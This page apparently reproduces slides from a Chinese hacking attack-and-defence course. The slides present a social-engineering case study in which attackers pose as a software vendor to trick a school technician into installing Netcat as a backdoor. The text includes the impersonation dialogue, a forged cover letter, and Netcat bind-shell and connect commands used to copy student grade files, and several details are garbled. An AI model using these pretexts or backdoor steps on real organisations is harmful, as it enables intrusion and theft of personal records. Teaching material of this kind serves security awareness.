社會工程學的應用與防護-資料下載頁
2024-09-20 21:47本頁面
【正文】 管理軟件的事情。我看了幾個軟件比如：共拓學籍管理、一點通學藉管理等．但我不能確定哪一個軟件最靈活，你們用的是哪個學籍管理軟件？ 李明陳述了自己在學籍管理軟件方面的知識，來免除馬濤對自己教育背景的懷疑．李明還詢問馬濤哪一個軟件軟件最靈活，原因在于他在論壇中已經(jīng)看到這些軟件的流行程度和靈活程度的排名。 馬濤：我們一直在使用 Gradebook．對這個軟件我們很滿意。 至此，李明繼續(xù)問一些與這個軟件有關的問題，依據(jù)是事先對這個軟件的了解。當談話結(jié)束時，李明已經(jīng)知道了這個學校使用的學籍軟件的類型．負責技術的工作人員的姓名是馬濤。 在下一個階段，李明選擇了另一個人與馬濤聯(lián)系，原因在于他可能會聽出李明的聲音。此外，由于馬濤是位男士，常言道，男女搭配．干活不累，因此，李明請他的同事王晨冒充 ThinkWave的銷售代表來打這個電話。在與馬濤聯(lián)系之前，王晨等待了數(shù)周，以避免惹人注目。 網(wǎng)絡黑客攻防實戰(zhàn) 項目五、綜合案例研究 王晨：你好，是馬濤嗎 ?我是 ThinkWave公司的業(yè)務代表王晨。我們想請你參加我們的客戶改進計劃，作為回報，在未來軟件升級時，貴?？梢缘玫?20％的折扣。 由于大多數(shù)公辦學校的資金都比較緊張，因此可以合理地認為馬濤會被這個省錢的說辭打動。 馬濤：是嗎 ?需要我做些什么 ? 王晨：這樣，我將向你發(fā)送一款報告軟件，你把它放在服務器上。在發(fā)送給你的郵件中，包含了這個軟件的配置方法。這個軟件的主要功能是。在系統(tǒng)出現(xiàn)任何錯誤時．他都生成一份報告，并發(fā)送給我們。它不發(fā)送任何個人信息．僅僅發(fā)送計算機的類型、發(fā)生錯誤的時間、發(fā)生錯誤時系統(tǒng)中運行的進程。通過從我們的客戶那里收集這些信息．我們希望在未來的發(fā)行版本中能夠減少軟件錯誤。 馬濤：很好呀。 在這次通話之后，李明從網(wǎng)上下載 ThinkWave的標志，并在信紙的抬頭上印上這個標志。李明在網(wǎng)上找到 FainkWave的地址，并向馬濤寄送一個包裹，寄件人地址寫上 ThinkWave的地址。包括中包含了一張帶有 Nctcat實用程序 (當然你也可以使用其他的木馬程序 )的 CD和一封信，信的內(nèi)容為： 網(wǎng)絡黑客攻防實戰(zhàn) 項目五、綜合案例研究 馬先生，你好： 感謝參與本公司客戶改進計劃。我們確認你的協(xié)助將會幫助改進我們產(chǎn)品未來發(fā)行版本的質(zhì)量。與這封信一起寄給您的十一章包含報告軟件的 CD。當系統(tǒng)中發(fā)生錯誤時這個軟件將會生成一份報告，并發(fā)送給我們。我向你保證不會發(fā)送任何個人信息。安裝這個報告程序的方法是將 CD放到服務器光驅(qū)中，它將自動啟動安裝程序，如果沒有啟動的話，使用 。 這個報告程序使用 TCP端口 1753，您需要在防火墻上打開這個端口。打開這個端口的具體方法，請參閱您的防火墻文檔。 通過參與我們的客戶改進計劃，在未來軟件升級時，你將自動得到 20%的折扣。感謝你的支持和參與。 祝身體健康、一切順利！ ThinkWave公司代表 王晨 2022年 4月 26日 網(wǎng)絡黑客攻防實戰(zhàn) 項目五、綜合案例研究 CD的內(nèi)容是李明生成的一個安裝程序，它將 Netcat安裝在服務器硬盤的根目錄下： Netcal是一個后門應用程序，它為李明提供了進入服務器的遠程訪問。安裝腳本使用下面的參數(shù)啟動 Netcat： c:\nc l p 1753 t e 數(shù)天之后，李明請王晨打電話給馬濤。 王晨：你好，我是王晨，我這次打電話是想問一問你，在安裝我們的報告軟件時遇到什么問題了沒有 ? 馬濤：沒有，一點問題也沒有。 王晨：這就好。我們就想聽到這樣的話?，F(xiàn)在我們需要知道你的外部 IP地址，以便在我們收到報告時，知道這份報告來自你那里。 馬濤：沒問題。我查一查，找到了， IP地址是 200． 300． 55． 28． 王晨：太謝謝你了。如果你有什么需要，就告訴我們。你有我們的技術支持電話號碼嗎。 馬濤：我有。 網(wǎng)絡黑客攻防實戰(zhàn) 項目五、綜合案例研究 李明已經(jīng)掌握了 ThinkWave的電話號碼，這樣，在需要的時候，王晨就能夠把它說出來，以便不引起馬濤的懷疑?，F(xiàn)在可以訪問這個學校的服務器了。李明在他的計算機上輸入下述命令： C：＼ nc 200300． 55． 28 1753 這個命令試圖使用端口 1753建立與那所小學服務器的連接。果然，在李明查看它屏幕時，看到自己已經(jīng)獲取了該服務器的訪問。李明執(zhí)行一條目錄列表命令．確認成功訪問： C:\dir Volume in drive C has no label． Volume Serial Number is 8496— 8025 Direccory of C:\ 06／ 01／ 2022 04： l0 PM DIRThinkwave 04／ 14／ 2022 03： ll PM DIR WINNT 04／ 14／ 2022 07： 43 AM AUTOEXEC． BAT 等等 網(wǎng)絡黑客攻防實戰(zhàn) 項目五、綜合案例研究 現(xiàn)在，李明已經(jīng)能夠訪問學校的服務器。他轉(zhuǎn)到學籍管理軟件的安裝目錄，并把數(shù)據(jù)復制到本地算機上。李明記錄了整個過程，并抓了幾張屏幕截圖，一邊在以后將它們添加到報告中。 李明使用文本編輯器打開下載的文件．在文件 010521． edt中發(fā)現(xiàn)下述內(nèi)容，確認它是學生成績文件： 010521 語文 A 010521 數(shù)學 B 010521 物理 A 等等 僅僅通過幾個電話和幾條命令，李明就獲取了學校服務器的訪問，得到了所有學生的成績。 謝謝！
試題試卷相關推薦
鄂ICP備17016276號-1